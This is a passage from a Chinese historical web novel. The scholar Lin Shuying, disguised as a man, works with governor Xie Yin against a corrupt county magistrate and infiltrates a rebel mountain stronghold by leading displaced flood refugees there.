魏丰华如癫入狂地大笑着,蜡烛的火苗忽闪一下,灭了,一道细窄的线缓缓浮现。
癫狂的笑声充斥着暗室的每一个角落。
*
庆阳酒楼
“您可喜欢?”冯齐谄媚地笑着。
谢寅起身,走到排成一排站好的人前,修长的指节勾起美人的下巴,好好欣赏了一番。
美人目若秋波,杏眼直勾勾地盯着谢寅,嘴唇一张一合,淡淡的胭脂晕染在丰满的唇上,勾魂摄魄。
花满楼是酒楼的花魁,她年轻貌美,自视甚高,将自己排在了第一个,就是要旁人看看,她是如何拿下京城贵人的。
她用尽柔媚,以为鱼儿要上钩了,心里一阵快意,果然没有人能抵住她的美色。
却只得了谢寅淡淡一笑,就见谢寅已经走向旁边的姐妹。
她不满得撅了撅嘴,再没动作。
谢寅极有耐心地打量完每一个人,又像抓阄似的,随意点了一人上前伺候。
“庆阳这地方出美人么,真是各个绝色,弄得我都犹豫了。”谢寅端起酒杯道。
冯齐脸上划过阴险,“庆阳运河沟通南北,这南方娇小可人,也就跟着来了不是?”
“原来如此,若知如此,本总督早就来了庆阳,不然也不会与美人相见恨晚。”谢寅抬手示意身边的人倒酒。
酒过三巡,两人脸上都起来红晕,林疏影在一旁只喝茶。
“我本不想来剿匪,奈何京中无人可用,这才指派我来。”谢寅似喝醉了一般,毫不忌讳地说。
“总督您英明神武,流民再如何造反,还终究是流民,我看这次总督平定匪患之后,定然再得皇上青睐。”冯齐强撑着摇晃的身体,起身,还要再敬酒。
“不知冯兄可知晓沧隅山之事,若是有,那我便得了助力,日后到了京城,自然多美言…”谢寅晕晕乎乎地仰靠在椅子的后背上。
“这…倒是真没有,庆阳官兵不足,未曾…到过沧隅山。”冯齐与谢寅隔空碰杯,二人又是一杯。
谢寅眼里仍有清明,“庆阳县外那流民挡道,我还以为是老弟你欢迎我,给我使绊子呢。“
冯齐被这突然的一句吓得站稳了,“哪里,不过是那巡检安排妥当百姓,我哪里敢给谢大人您使绊子啊。”
他用袖子拂过额头,拭去汗珠。
“知道你对本总督的尊敬,不过随口一提,你紧张什么?”谢寅已正身做好,那双染了酒气的眸子说不上来的妖娆。
“罢了,本总督吃饱喝足,回去歇着了。”谢寅瞥了一眼一直在旁边看戏的林疏影。
林疏影得了眼色,拨开美人搀扶着谢寅的手,代替她搀起来谢寅。
冯齐使眼色,让那美人跟上。
“冯老弟,带回县衙,传到皇上耳朵里,我如何解释,你的好意我收下了,这福我来日再消受吧。”谢寅的话里有些疏离。
冯齐只好应承送人,再不敢有什么动作。
二人跌跌撞撞地回了县衙。
谢寅似真醉了一般,一路上将全身的重量都压在了林疏影身上。
林疏影皱眉,不知他真醉还是假醉。冯齐来送时,说安排人送他二人回去,这人以想透透气为由拒绝了,难不成就是故意看她难堪的?
还是…想要试探她…
思及此,她也不坐以待毙了,抬起巴掌就要落在那张俊美的脸上。
掌风袭来,惊醒了醉倒的那人。
林疏影肩头忽然一松,那人一把握住了她尚未落下的手,不再装醉。
谢寅腥红的眼里满是戏谑,“林状元这是打一次不够过瘾,还要来第二次?”
“哪里,我只是怕总督一路闭着眼,撞到墙上,可就不好了。”林疏影一脸无辜地摆手。
谢寅冷哼一声,抱胸,算是放过林疏影了。
她松了一口气,抬眼望着谢寅。
刚才压在她身上的宽阔的胸膛,棱角分明的侧脸,还有眼角泛着红的桃花眼,她忽然觉今日酒楼所见的美娇娘都比不上谢寅的美。
谢寅察觉到了她的目光,轻轻咳嗽了一声,扯回了林疏影的思绪。
“总督,这庆阳县令分明有所图谋,一顿酒宴下来,我也没瞧出他的意图来。”
“大概是要拖延我剿匪的路程,那几家士族,正想趁着我离京的这段时间,给京城换换血呢。”谢寅满不在乎地说。
林疏影听了这话,皱起眉头,心下了然。
士族唯利是图,天下无人不晓,此番谢寅离京,几方势力都盘算着多分一杯羹。
毒害母亲的罪魁祸首说不定还在京城逍遥,等着分一杯羹呢。
林疏影在袖子里的手握紧,指甲要嵌进肉里一般,她压抑着心头的恨,“我看,不如派人扮作流民混入那群流民,暗中潜入沧隅山,探了虚实,方可快速一网打尽。”
“你与我想到一块去了。”谢寅低眉看着情绪较平时剧烈的人。
似乎是一提到士族,他就会反常一些。
“属下愿意前往贼窝,探寻匪寇虚实。”林疏影一字一句地说出口。
“嗯?”谢寅倒颇为意外。
他起初以为,这书生懦弱不堪大任,并未将她放在心上。而后受陆大人之命才给这人传话,暗中观察林疏影得当地应付着士族,才却对这人提了些兴趣。
林疏影足够聪明,可就是性子太软了…
然而,现在不一样了。
“属下看不惯士族横行,扰天下百姓不得安宁,若是能早一日解决了匪患,便能早一日
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回京,搅乱他们的阴谋。”林疏影见谢寅无言,再次明志,表明态度。
她不能坐等士族一步步强大,否则,到时候,他就算是得了陆大人的提拔,得了皇帝的青睐,也没有与他们对峙的实力。
“好啊,看来陆老头是找对人了。”泛着红的指尖挂着玉佩,他有一下没一下地转着。
看来,林状元是对功名心切,或许懦弱是他的伪装。
嗯...这倒是像他的风格,且看这次剿匪顺利与否吧,正好摸摸他虚实。
若是此人野心太大,也不会是个善茬。
“葛根已经混入了那帮流民,傍晚你就动身去。长青会在暗里与你接应,有什么事,跟他说便是。”谢寅把那手上的玉佩放在林疏影手上。
林疏影看着玉佩,狐疑地打量着谢寅。
乳白的玉上雕刻着精美的花纹,这玉佩一看就是贵重之物,自她见谢寅的第一面,这块玉佩就在谢寅腰上。
总不能是为了拉拢她,才赏了这块玉佩吧。
她愣神间,谢寅已迈开腿,落了她一段距离。
谢寅今日故意穿了件华服,绸缎勾勒出他的腰身,腰间少了东西晃荡。
*
今日早些时候,葛根为谢寅送了东西,被赶出门时,长煊就把他拉到一边。
对他细细说了谢寅的安排,葛根爽快得接了任务。
此时,他一身破烂,灰头土脸地混在流民中。
却说,谢寅在酒楼与冯齐对饮时随口说的一句话惹了冯齐的眉头。
美人计没得逞,谢寅只要活一天就是一天的威胁,况且也多次因着流民一事敲打他。
“巡检呢,你,快去吧巡检给我叫来!”冯齐气冲冲地回了县衙,指着身边的唐其昌。
唐其昌似是习惯了一般,转身出去叫来巡检。
“我…这可是您说的,要把城内乞讨的民众赶出去的,我也是奉命办事啊…”巡检畏畏缩缩地看着冯齐的脸色,小心说道。
“流民难道是我赶出庆阳的?你是不是忘了什么。”冯齐大着嗓音。
巡检徐道州是个老实人,虽不满冯齐对百姓的搜刮,却也无能为力。只能在自己管辖的范围内接济些百姓。
可他俸禄微薄,又不肯与冯齐一众同流合污,时长饿着了妻子儿女。
此次谢寅前来庆阳剿匪,冯齐为顺应他的喜好,竟要清空一街的百姓。
百姓刚失了田地,加之洪水冲毁了粮食,要是再赶出去,是要出事的。
徐道州苦口婆心,却连累了一家老小。
“是…是属下赶的。”徐道州生怕再说错了什么话,认下了这事。
“你现在赶紧把京城流民处理了,别碍着尊贵的谢总督的眼!”冯齐咬牙说着,隐忍了谢寅半晌,计划还是扑了空,他冲着徐道州发泄脾气。
一旁的唐其昌看着哆哆嗦嗦的人,上前道,“县令,何苦为难一个老实人,我看不如直接把这些刁民赶上山,这下定没了后顾之忧。”
冯齐皱眉,“可这…这不就助长了匪寇的势力?”
“谢总督何许人也,就算是助长了,他带精兵还能拼不过一群草莽?”唐其昌上前躬身,把头埋在袖子下面,藏了一脸的阴谋。
8. 第 8 章
林疏影仔细收好玉佩,与“疏影”剑放在一起,压在了最靠里的地方,床褥底下,这褥子料子好,也软,人躺在上面,便会忘了一切温软。
整理好一切,待要合上门时,她盯着那床褥,仿要透过一层层床褥,看见床底下的东西。
母亲送她及笄礼的场景似在昨日,而现在她却只有这柄剑了,您放心,等此次剿匪成功,我得了提拔,有了权力,您未查完的旧案我来查。
她垂下眼睑,不再留恋,合上房门,眼神坚定了几分,出了县衙。
长青暗中为她引路,她一路并无表情,没有人发现她的异常,也不会有人在意这么一个小参谋。
有一人却不同,唐其昌刚得了冯齐的命令传过走廊去处理要务时,便见林疏影匆匆出门,他皱了一下眉头,最后跟上了脚步。
长青在暗中,自然察觉到了此人。
这人跟在冯齐身后,点头哈腰唯命是从,不管是敌是友,都需要谨慎些。
他故意引林疏影到庆阳还算热闹的街上。
自洪水过后,淮水泛滥冲进庆阳,扫荡了低洼地带,那些人无处可去,田地也布满淤泥。
官府的赈灾粮迟迟没有消息,家里的余粮被大水冲泡,一家老小破衣烂衫地在春风里干瞪眼。
几番于县衙求情无果,这些世代在大夏,以土地为生的老实百姓,心一横,上了山。
地势较高之地的淤泥流淌进低洼地区,算是得了保全,而这唯一繁华的地区就是县令冯齐冯府的那一条街。
林疏影颇为意外,她本该去庆阳县外,怎么长青将她引到了这里?
心里疑惑,却也只是质疑,并未直接将长青逮出来质问,她素来如此,有问题时,先以他人的角度思考一番,若是自己觉妥当,就不会深究。
长青这么做必然有他的理由,或许这条路更近。
她仔细搜寻着长青的身影,因而好生看了看与那日萧条之景截然相反的街道。
人来人往,小贩的吆喝声,孩童的嬉笑声,各色吃食,玩具,发钗耳坠……
街道宽敞,没一丝污垢,人群中也没有乞讨的百姓,她几乎要被满眼的繁华迷住了。
满眼的繁华,竟与京城不相上下。庆阳才遭洪水侵袭,这里怎的与别处截然不同?
她心里疑惑着,不留神与稚子撞了满怀。
孩子头顶两个总角,稚嫩白皙的皮肤在夕阳里发散着不一样的光,眼睛一闪一闪的,灵动极了。
林疏影下意识透过人群搜寻前方那抹身影,看到那人停在这条街的尽头的拐角处后,才放下心,蹲下来。
正巧这时,唐其昌追到了这条街。
他一直跟随着林疏影的脚步,从寂寥的街道再到冯府那条繁华的街道,忽然就看不见那抹身影了。
这条街他最熟悉不过,都是些庆阳有名的家族的贵女,还孩童,因着身份限制,他不能随意拨开人群,只能四处张望。
林疏影浑然不知被唐其昌尾随,她虽练过骑射,却只是略微懂得皮毛,习武之人对于周身环境她更是一窍不通。
此时她正蹲在地上,微仰着脑袋,看着孩童,她顺着孩童的视线看去,这才发现,孩童原本是拿着根糖葫芦。
现下,糖葫芦在地上翻滚几圈,糖浆都沾上了泥泞,路过的人没注意脚下,直直得踩上去。
红彤彤的小灯笼扁得不成样子,林疏影有些愧疚,握住孩童的手。
手里的吃食没了,小孩竟然不哭也不闹,只冲她眨着水灵灵的大眼睛。
林疏影更加愧疚了,“你叫什么名字?”
“冯远志!”孩子思索片刻,眼前的人生得好看,定然不是坏人,便脱口而出。
“好,我记住了,日后你若是再来这条街,看到我了,就来找我,我定会把这糖葫芦连本带利地赔给你,好不好。”林疏影眉眼弯着。
她有任务,身上没带银钱,也没有玉器首饰,只能等沧隅山归来时再赔些吃食了。
自从北上,她就再没碰过任何金银首饰,一方面是没钱,另一方面便是警示自己——她应该扮得像个男人。
林疏影摩挲着孩子的小手,细细打量着婴儿肥充实的小手,心情莫名舒畅。抬眸便迎上那双雪亮的大眼。
“好。”孩子懂事得让她想起来自己。
不过现在没有时间供她感伤过往,她安慰似的摸了摸孩子的头,起身冲着那抹身影奔去。
这条街道的尽头有两个拐角,一处通往死胡同,另一处能绕回县衙。
唐其昌左右寻不着人,瞥见那拐角,急忙奔向那个通往死胡同的拐角。
林疏影紧接着他的步子,走了另一个拐角。
*
当她接近流民所在之处时,便不顾任何繁文缛节,直接在尘土里滚了一圈,手浸在带着水的泥浆里,拍乱梳好的头发。
一翻折腾,全然褪去了书生的傲骨只剩下受灾的病态瘦弱。
其实按照女子来说,她身体算匀称的,相较于男子来说,她的骨架小了些,所以才看起来瘦弱。
她小心靠近着灾民,莫说衣裳头发,光从步子来看,就能断定此人是流民,她扮得像极了。
这还要归功于北上一路的艰辛,接受那些她从未看在眼里的人的救助,现实让她一点点地放下书生的傲气。
人群聚在一起,闹闹哄哄的,她在远处听不清楚,小心地移至人群里,方看清了吵闹的来源。
庆阳的官兵正与流民对峙。
林疏影正疑惑着,却看见葛根对她使眼色。
她小心地混入人群,“这是怎么回事?”
“不知,我本打算等你来了,就召集百姓前往沧隅山,不想半路突然冒出一群官兵。”葛根有些没好气。
林疏影抬眼,看着那坐在马上的人,她未曾见过。
“走一步看一步吧。况且他们刀剑在身,我们不能硬拼。”她直觉此人并不阻碍他们上沧隅山。
林疏影忽而想到,今日午食谢寅敲打冯齐的那番话。想来,冯齐这是要给谢寅一个交代,可怎么看着也不像是请百姓回庆阳。
此时,庆阳官兵排列成一堵墙,刀剑出鞘。
与这堵墙格格不入的是为首的身形佝偻,鬓发斑白的人,他骑着匹与他一样老态的马。
人群里有人认出来了为首那人,“徐巡检,你是来救我们的么。”
“徐巡检,带我们回家吧…”
“徐巡检,我家的房子被洪水冲垮了,能不能为我们…”
百姓们似乎抓住了救命稻草一般,将自己的遭遇全盘托出。
林疏影尽收眼底,冯齐派来个受百姓爱戴的,难不成是真的要把流民带回庆阳,好生安顿?
“你可知庆阳的赈灾粮有多少?”她瞥向一边的葛根道。
“这…”葛根皱眉,有些疑惑。
“够安顿这些流民吗?”林疏影换了种问法。
“至于赈灾粮多少属下不知,粮仓不足一半,恐怕不行。”葛根今日到了庆阳后,因着要管着士兵的吃食衣裳等琐事,监督随军粮草入庆阳粮仓,见过粮仓的模样的。
不像,请流民回去如何要刀剑相向?
再者,粮仓空虚,这县令定然是知晓的,他将流民赶出庆阳,是为了防止粮仓枯竭,百姓在庆阳内叛乱闹事。
是了,而总督的到来便是赶走流民的借口。
她的眉头不禁皱得更深了,若是谢寅没有敲打这阴险的县令,而是与他纨绔不谙此事,上面查下来,罪名就被推到了总督身上,真是乱咬人的狗…
这些酒囊饭袋,处理正事时百般推脱,推卸责任时比谁都有脑子,谢寅还真是乐得与这些人周旋。她竟有些佩服眼前这人了,原来,在纨绔之下还藏着这么缜密的心思。
意识到自己在想什么的时候,她赶紧把想法摇出了脑子。
冯齐在庆阳到底做了什么事,竟然想借这件事掩盖,还不惜拉上朝廷命官,或者,他就是要陷害总督?
思及此,她抬眼看着为首那人。
百姓们都爱戴这个巡检,他做过不少善事,看来是被冯齐威胁的。
不管如何,现下,就看这人如何抉择,怎么行动了。
徐道州看着破衣烂衫,骨瘦如柴的百姓们,听着百姓的苦难,他不禁落下泪来。
为官多年,他一直在妥协退让,做小伏低。
可这庆阳哪里是什么好地方,他忧国忧民,以百姓为重,不得重用不说,还被那县令用一家老小的性命相逼,让他驱赶百姓。
他自觉愧对百姓,可起码去了沧隅山,他们或许能得一口吃食,比吃人的庆阳好得多,这个妥协两全其美。
颤颤巍巍命令冒出来,一阵嘈杂中,官兵们却听得很清楚。
他们握住剑,开始驱赶百姓。
“不能伤着了,不能伤着了…”徐道州看着惊恐的百姓,大声喊道。
无力的声音与如血的残阳相互映照,一览无余的平原上,这是能见到的最美的景色了。
此处无城无山,骑在马上的官兵占据了天然的优势,他们迅速把百姓包围起来。
有人见状,就要逃,可甚至连土丘都不得庇护,马儿踏空而来,下一秒,锋利的剑就横在那人脖颈上。
还没逃
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出来的百姓也不敢动作。
有不少百姓受过徐道州的恩惠的,此时,刀架在了自己脖子上,他们才反应过来。
“为什么?”
“还没明白吗,庆阳县官勾结在一起,他们都是一路货色,有什么为什么。”人群后面传来一个声音。
“不会啊,徐巡检帮过我,他是好人。”这人刚说完,脖子上就架上了一把刀。
百姓们吵嚷起来,乱成一团。
刀剑无眼,也足够有威慑力,百姓们虽心里怨恨,但被圈起来,只能艰难地往前走,他们不知道被赶去哪里,可没有比现在更糟糕的了。
路途一点点铺展开来。
葛根早记住了往沧隅山的路,看着远处隐隐约约的山,他更加笃定。“林参谋,这官兵可是帮了大忙了。”
这县令不光蠢,还蠢得彻底,竟误打误撞助了他们。
“不过,那人似很得民心。”她扭头看向马背上那人,垂垂老矣的身躯,花白一片的头发。
“大抵是个被人胁迫的,揽了这么个不讨好的差事,若是上面查下来就是个替罪羊。”葛根心里清明得很。
林疏影垂下眼睑,不禁嗤笑,究竟为了什么,这人甘愿做替罪羊,积攒了一辈子的名誉就甘愿抛却?
行至沧隅山附近,官兵们忌惮山上的匪寇,收了刀剑,架马掉头就跑。
人群再次嘈杂起来。
葛根见官兵走了,放开护了一路的状元郎,他振臂高呼。
“乡亲们,这些县官们简直欺人太甚!他们搜刮民脂民膏,我们没有说什么,大水冲毁了田地,我们没有用处了,不光把我们赶出庆阳,还要再将我们弄到这沧隅山来,难道我们不是庆阳的百姓吗,难道庆阳不是我们的家吗?”
“什么,他们把我们赶到了匪寇窝,这不是让我们送死吗?”
“不是说朝廷来人剿匪了?怎么还没剿。”
“我在庆阳待了一辈子,种了一辈子地,没成想竟要沦为乞丐!”一位老者捶胸道。
“他们凭什么把我们赶出去!”
林疏影见到这般情景,有些动容,自北上以来,她受百姓的恩惠越多,就越是同情爱护百姓。
“我本新科及第,奉命剿匪,不曾想,那京城命官与县官纵情享乐,没有剿匪之心,可若匪寇是杀伐不止的恶人,那些吃我们的肉,喝我们的血的县官又算什么?”林疏影站在人群中,大声吼出来。
人群一片哗然,只间细小的身躯撑开了人群,缓缓向前走着,人们不自觉得为她让出一条路来。
“庆阳难回,他们早把赈灾粮挥霍一空,就算是回了,我们有饭吃吗?不如随我一起入山,说不定还能捞到一碗饭吃!”林疏影走出包围,转身,带动一缕风,看着眼前众人,眼神格外明亮。
“有聪慧的状元在,我们还愁与那匪寇周旋不清吗?”葛根接上林疏影的话。
乡亲们一听是状元,不免去瞧那人,只见林疏影破衣烂衫,灰头土脸,模样倒是不差,可状元郎本该前途一片光明,该在京城享乐的,如今来到他们这群人中间不说,还是这副样子。
“当朝状元都不满庆阳贪官,见不得我们受苦,不顾仕途,为我们请命。我们受了一辈子苦了,还怕什么!”不知是谁先开了口,人群一下子鼎沸起来,七嘴八舌。
“对,匪寇尚且有饭吃,投靠匪寇也比饿死在这里强!”
“沧隅山,那上面的可是庆阳百姓,据说也是因县衙逼迫太甚,才揭竿起义,上山为匪。”
“既然是一家人,我们大家伙走头无路了,还怕什么,不过一条贱命,我们被官兵欺压了一辈子,现在还怕什么。”
人群里人声嘈杂,却依旧可清晰听到,百姓们饿得干枯发黄的脸上浮现了气愤。与之前被官兵驱赶至庆阳外的怯懦截然不同。
“葛根,我们再行一段路程便可到沧隅山,等到了沧隅山,你去喊山,叫他们出来。”林疏影与葛根混杂在人群里做掩护。
“好,不愧是林…林状元,好口才。”葛根及时收住了“参谋”二字,嘿嘿笑着,平易近人极了。
不消一刻钟,天黑下来,众人抵达沧隅山脚下。
却说这沧隅山横亘在北方突厥与庆阳之间,东西延展,本是大夏抵御突厥的一大关隘所在地,不曾想,竟被这匪寇抢占了去。
突厥养精蓄锐,沧隅山被匪寇占领的消息随急报入京传开,一时人心惶惶,陆德静这才提议,派楚将军前往,可士族为遮掩庆阳龌龊,竟举荐了平日里纨绔的谢寅。
“起义军何在!大夏状元郎来投靠,还请快快出现!”葛根卯足了劲喊道。
9. 第 9 章
沧隅山上,密林环绕着一座寨子,寨子包裹着一个似桃花源的山村。远看如平常人家一般,近看才知这寨子结构精巧,是花费心思琢磨出来的。
寨子在山顶靠下的位置,加上水道通畅,走水便利,就算是雨季,只要防护好了山坡,便没什么事。
寨子人来人往,山民们脸上笑意藏不住,对生活颇为满足。
二楼的大堂里,主座上的陈述摩挲着扳指,主座以下,摆着两排桌子,已经人满为患。
“我看,这场春雨毁了大夏的命根子,长了咱们的实力啊,真是场好春雨,好极了。”一人举着酒杯,冲上座那人敬酒,“陈兄,我敬你,若不是有你,我早死在官兵手里了。”说完便豪爽地干了。
刘猛虎背熊腰,体格壮实地不似寻常人,一看就是勇猛的将才。
“哪里,我只是顺势而为,大夏官员坏事做尽,这些都是我应该做的。”陈述笑盈盈地举着酒杯回敬,颇为谦卑。
“陈老弟,到这时候了,咱们就有什么说什么,你也不必藏着掖着了。”林穷须发斑白,清瘦挺拔。
陈述的笑有些僵,还没等他回话,一抹急促的声音闯入大堂。
“报,有人喊阵,说是状元郎前来投靠。”
“什么?有人叫阵?真是不知好歹。”刘猛酒喝得多了,只听见“叫阵”二字,蹭的一下从位置上站起来,周围人的酒杯接连遭殃,酒水撒了一身,人们也顾不得酒水了,只赶紧拉着这位活祖宗,不然他真就去了。
“殿试才过去不久,怎的状元郎就到这里来了?”林穷放下就酒杯,淡淡说道。
“状元郎?他们说什么了?”刘永兰坐在离陈述最近的位置,他看着来人。
“就说庆阳县官逼迫太甚,百姓拿不出赋税,这才来投靠的,小人疑心有诈。”
“您看,不如…先迎进来,再做打算。”刘永兰思索一会,看向陈述。
“永兰说得在理,那就把这件事交给你了。”陈述笑意复现,眉眼间尽是宽厚。
复又看向刘猛,佯装嗔怪:“你如何才能像永兰一般稳重,不过两杯酒下肚,怎的就只剩下莽撞了?”
刘猛缓过神来,忙请罪,“陈兄教训的是,是我太莽撞了。”
“刘老弟就是那个性格嘛,陈兄见谅,不如让他随我一起如何?”刘永兰察言观色,知陈述只想敲打一下刘猛,并无责备。
“好,好,刘猛你可得跟着永兰好生学习,你们一个有才智一个有胆识,将此事交给你二人,我最放心。”陈述赞许地看了刘永兰一眼。
陈述盯着二人的背影,琢磨着状元郎的意图,至二人背影消失。消息透露还没七日,朝廷的动作真快啊…
他思索片刻,下定了决心一般,缓缓开口。“林老兄说得不错,我召见大家伙来这,不是给大家一个桃花源,而是想要拯救这病入膏肓的天下。”陈述缓缓站起身,仿佛在一点一点蓄积力量。
底下的人都停下动作,齐齐看向陈述。
“如今的大夏,贪官横行,朝廷的田赋徭役一年比一年多,百姓苦不堪言,甚至,不远处的庆阳县令光天化日之下强强民女,掠夺百姓钱财,天理难容!”陈述的话打在每一个人心里。
陈述有恩于他们,他们有需要服徭役十年之久的,有失手杀了官兵面临灭顶之灾的,有饥不得食濒临死亡的…这一切的罪魁祸首就是那个承天命的大夏。
如果天命是让他们受到剥削,遭受苦难,被欺压,被奴役,那换一个又有何不可?
每个人心里都打起了算盘,权衡着利弊,因为若是遭官兵围剿,落到了朝廷手里,只有思路一条。
“我知晓各位在犹豫什么,如今大夏贪污病灶难除,苛捐杂税繁多,各位今日当然可以潇洒离去,待明日养不起家人,吃不饱饭食,你们又该如何?”陈述望着死寂的人群,大手一挥,给他们指明路。
*
刘永兰与刘猛虽都姓刘,性格却大不一样。一个谨慎小心,步步为营;一个勇猛善斗,走一步看一步。
“你可知,刚才陈兄并无责备之意?”刘永兰走在前面。
“自然知道,我想来鲁莽,陈兄点拨过我许多次…”刘猛受了教训,蔫蔫的,与平日大不一样。
“鲁莽归鲁莽,你也胆识过人,于我想比,单就领兵打仗来说,我不一定比得上你。”刘永兰温声说着。
刘猛没想到刘永兰会这般赞自己,心里的阴霾扫了大半,原来因被训斥比较而来的一丝丝妒意也荡然无存。“永兰不必谦虚,我知道自己的实力。”
刘猛拍了拍前面那人的肩膀。
刘永兰笑笑,察觉二人隔阂已消,说到这里已经够了,便不再言语。
二人行至操练士兵之处点兵,准备与这状元郎交手,试锋芒。
“这状元郎来得蹊跷,切记不可鲁莽。”刘永兰提醒道。
“嗯,我定铭记于心。”刘猛拱手,神色里全是赞许。
二人领着一帮人马,挑拣了条不常用的山路下山。
山下,葛根嗓子快冒烟了,还没等到人来,众百姓没了刚开始的劲头,正被饥饿折磨着,有气无力地瘫倒在地上。
林疏影上前,“葛根,歇会吧,探子应该已经去禀报了,不消片刻,山上的人就会下来。”
“好,快给我喝一口。”葛根接过林疏影手里的水壶,“咕咚咕咚”地猛灌水。
“何人在此闹事?”刘猛的声音破风而来,百姓们猛然起身,万分戒备。
他眼扫过稀稀拉拉的流民,定睛看着眼前的瘦弱的人,有些鄙夷。
“阁下误会,我乃新科状元林疏影,因不满贪官横行,奸人当道,故而携百姓来投靠沧隅山上的活菩萨。”
百姓们听了林疏影这番话,应和道,“对,我们是来找菩萨的。”
刘猛是典型的“张飞”脸,胡子拉碴,瞪眼的时候,凶神恶煞,仿佛要把眼珠子瞪出来一般。
百姓被这凶神瞪着,渐渐禁了声。
“刘猛,客气些,林状元远道而来,你这样一番恐吓,倒显得我们沧隅山没礼数了。”刘永兰暗里仔仔细细观察了一番状元郎,这才走上前,面上带着谦和的笑。
林疏影瞧着二人一唱一和,觉好生热闹,先打个巴掌,再给颗糖,这样一来,不仅向百姓们表明
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了沧隅山的主人的立场,又摆出一幅笑脸来迎接,这样他们若是再闹,就显得无理取闹了,当真好计谋。
她宠辱不惊,“既然这样,烦请这位兄台带我们上山吧,百姓们饿了一天了,您给备些吃食,好让他们吃饱肚子。”
刘永兰面不改色,依旧一脸春风,一脸随时等候百姓投靠的模样,却不急着给出答案。
刘猛禁声站在一旁。
林疏影看明白了这两人的关系,大概琢磨出了二人性格。见刘永兰不回,倒也不恼。
瞥向一旁的刘猛道,“刘大哥,我看你是豪爽人,若是咱们不方便,没有多余的地方给百姓们,我会另想办法,但眼见太阳西沉,就先通融一下,哪怕拿出些吃食给他们也行。”
林疏影把自己摆在低位,向上乞求施舍。
百姓们向来处在低位,见林疏影能够放下读书人的傲气,为他们低头,不胜感激。
“不愧是状元郎,三两句话就让人不得不从了你的意。”刘永兰拍掌叫好。
“永兰兄,不管如何,百姓无辜,咱们先把他们安置到寨子后面如何?”刘猛似被林疏影的话说动了,他矮下身子来,小声对刘永兰说。
“尚可,若是我们不让百姓上山,明日,百姓们都要记恨上沧隅山了。”刘永兰小声叹气道。
刘永兰谨慎聪慧,自幼研习兵法诗书,不忍入朝堂污了白衣,弱冠后便游历四方,结交了不少英雄豪杰,发掘了不少有志之人。陈述的意图他早就看出来了,早就抉择过,走这一条路子,最重要的是得民心,得民心者得天下。
“林兄随我上山。”刘永兰笑盈盈地引着林疏影上山。
林疏影心里仍旧谨慎,她跟在刘永兰身后,时不时观察着周围的环境,不想密林碍事,山路崎岖,她只得踢踏着石头做了一路的标记。
行至山寨,几座房屋冷落地堆在山上,周围火光稀少,只几个守卫迎着寒风而立,不闻烟火气。
刘永兰安顿好一众百姓,意味深长地看了林疏影所在的屋子一眼。这林状元看着软弱可欺,实则寸步不让,真是棘手,眼下,只能先晾着他。
林疏影在屋子里转了两圈,麦碴子不知是何年的,蜡烛流下的油早已经凝结在全是灰的灯座。
“寒舍简陋,眼下天色也不早了,各位前来,我们应该用最好的屋子招待,不想前些日子来的百姓占了,也只好先委屈咱们,明天我一定安排弟兄们腾出些好的。”刘永兰不破不立,他行礼,也算给了流民一个交代。
她环视四周,萧瑟一片,不禁皱起眉来,她冲葛根比划两下。
“爷,吃食什么时候…”葛根冲林疏影点头,随后转向刘猛开口道。
“早已经通知下去了,过会儿父老乡亲们就能吃到了。”刘猛咧着嘴豪爽地笑。
“到了这,咱就是一家人,不要见外。”刘猛木着脸的时候是个煞星,笑起来却有些憨厚。
流民失了土地,又被官兵赶走,如今不光白得了这么一个避风遮寒的地方,日后若是仰仗着这里,说不定吃穿都不愁了。自是感激不尽,连连应答。
林疏影捏着袖子,皱眉思索着。
10. 第 10 章
沧隅山寨子大厅
“我弱冠时便中了举人,不想却被人掉换了身份,失去了科举资格不说,真名也被威胁换掉,如今那人顶着我的名字青云直上,而我也就成了落魄的老头子…”林穷一向没什么表情的脸上波动起来,因苍老而耷拉下来的眼皮包裹着热泪。
“我是被官兵捉去服徭役的,他们不光抢人,还打人,没有陈大哥,我早就被埋进黄土里了。”一位少年意气风发,举着酒杯,慷慨道来。
……
众人纷纷袒露心迹,渐渐地,人们对饮抒怀,感慨不幸,痛骂朝廷,鞭挞贪官,十分尽兴。
陈述虽位居上位,但他仔细听着每一个人的事,好似这些人都与他又亲缘关系一般。
众人酒也喝了,饭也吃了,贪官也骂了,意犹未尽之后便是结束的时刻。
出奇地,众人恢复了起初的状态,没人言语,大堂里人们醉倒一片,酒洒在人身上、地上,未干涸的酒润湿了地上人的头发。
“我愿意追随陈兄,鞠躬尽瘁。”林穷虽年迈体弱,却是用了全身的气力喊出声来,仿若要把这些年受的白眼与冤屈全发泄出来一般。
“我也愿意。”众人随后应和着,大堂里回荡着文人武将的呐喊声。
陈述沾了酒,他摇摇晃晃地走下高处,张开双臂,似要揽尽天下贤才。
大堂门户未闭,春夜的寒气侵不得一屋子壮士,一轮月亮悬挂着,正入了陈述的怀,豪爽的笑回荡在大堂里。他等这一天,很久了。
刘永兰与刘猛将人带上山,与陈述禀报情况时,便是一众人零零散散地躺在地上,仰躺在桌椅上的场景。
他一看便知晓发生了什么,镇静地行礼,“陈兄,已经把那状元郎安置在山后面了。”
“嗯,不错,你觉得这状元郎如何啊?”陈述本仰躺在太师椅里,见了刘永兰来,他晃了晃有些发懵的脑袋,撑着身子起来端坐。
刘永兰依旧毕恭毕敬道,“这状元郎名不虚传,论起聪明才智,怕是能与我相提并论。”
状元郎才华满腹不说,年纪轻轻就有这样的成绩,日后必定能超过他的,但上位者多猜忌,若是因此埋没了一个人才,是大错。
“但这状元郎放着京城的福不享来沧隅山,有些蹊跷,不能不防啊。”刘永兰开口。
陈述于高位之上思索片刻,“那便晾他几日,看看这状元郎到底是什么意图。”
*
林疏影一行人被晾了几天,虽每日有饭食,但林疏每每问起,都因寨子人满为患为由搪塞。
一日,林中传来不知名的鸟叫,是长青来传信了。
她推开门,想要出去走走,却被门外的守卫拦住。
“守卫大哥,我就想如厕,实在是内急,快…”她抱着肚子一脸焦急地看着那人。
两个守卫互换了眼神,“来,你跟我走。”
她一路四处张望,看明白了周围的地形,却没看见人家,看来刘永兰防备她太紧了,还是那日锋芒太露了,但若是不那般,她和流民都上不了山,流民只有死路一条。
深吸一口气,她勉强维持着平稳的步子。这么多天,没有谢寅的信是不稀奇的,如今她万不能再着急,再让刘永兰那人忌惮。
“就是这,快去快回。”守卫黑着一张脸,语气强硬。
林疏影装作慌张地走进去,待完全隐藏了身形,一道黑色的身影从天而降。
“如何?”她率先开口。
“总督这几日与县令周旋,算是骗过了众人,不过那县丞竟公然说参谋你谋反。”长青察觉到一丝与谢寅相似的威势,他不自觉全盘托出。
